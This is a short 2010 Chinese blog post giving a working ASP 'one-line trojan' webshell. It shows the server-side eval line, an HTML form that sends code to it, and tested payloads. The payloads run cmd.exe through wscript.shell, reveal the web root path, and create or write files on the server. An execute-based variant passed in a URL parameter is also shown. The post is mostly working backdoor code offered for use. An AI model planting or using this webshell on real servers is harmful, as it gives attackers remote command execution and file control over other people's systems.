一句话木马,eval的客户端asp木马

[ 2010-02-25 13:38:54 | 作者: admin ]
字号: | |
网上的eval asp木马,客户端其实还是调用了execute语句,这样比较方便。如果纯用eval 的话,也不难。但是在eval方法中,有些地方要注意。VBS里正确的写法如下:

EVAL(MsgBox ("1")&MsgBox ("2")) 'Eval 方法,表达式
Eval ("msgbox(""1"")&msgbox(""2"")")
Eval "MsgBox (""1"")&vbrlf&MsgBox (""2"")"
Eval MsgBox ("1")&vbrlf&MsgBox ("2")

EVAL后跟的语句有许多限制。这个要仔细体会。明白了这些,我们简单测试:

S端:<% eval(request("hello")) %>

C端:<form action=http://192.168.0.8/2.asp method=post name=form1>

<textarea name=hello cols=120 rows=10 width=45>

</textarea>

<input type=button value=提交 onclick='vbs:hello.value=trim(replace(replace(replace(hello.value,vbcrlf,""),chr(13),""),chr(10),"")):document.all.form1.submit'>

……………………………………………………………………………………………………

在C端,我能成功利用的语句如下几条,你想自己加就加吧:

1。response.write(server.mappath("/")) '注意到没有,我加了(),如果不加(),我没测试成功。
2。response.write(server.createobject("wscript.shell").exec("cmd.exe /c dir c:\").stdout.readall)
3。server.CreateObject("Scripting.FileSystemObject").CreateTextFile(server.mappath("1122.txt"))
4。server.CreateObject("Scripting.FileSystemObject").OpenTextFile(server.mappath("1122.txt"),8,True,0).WriteLine("123")

        我用adodb.stream没有成功。语句没错,只是老说是对象没打开。上边的语句都是单语句,如果多语句的话可以用&连接。

另:execute就简单了s.asp?pass=response.write "1":response.write "2"
评论Feed 评论Feed: http://blog.xg98.com/feed.asp?q=comment&id=1346

这篇日志没有评论。

此日志不可发表评论。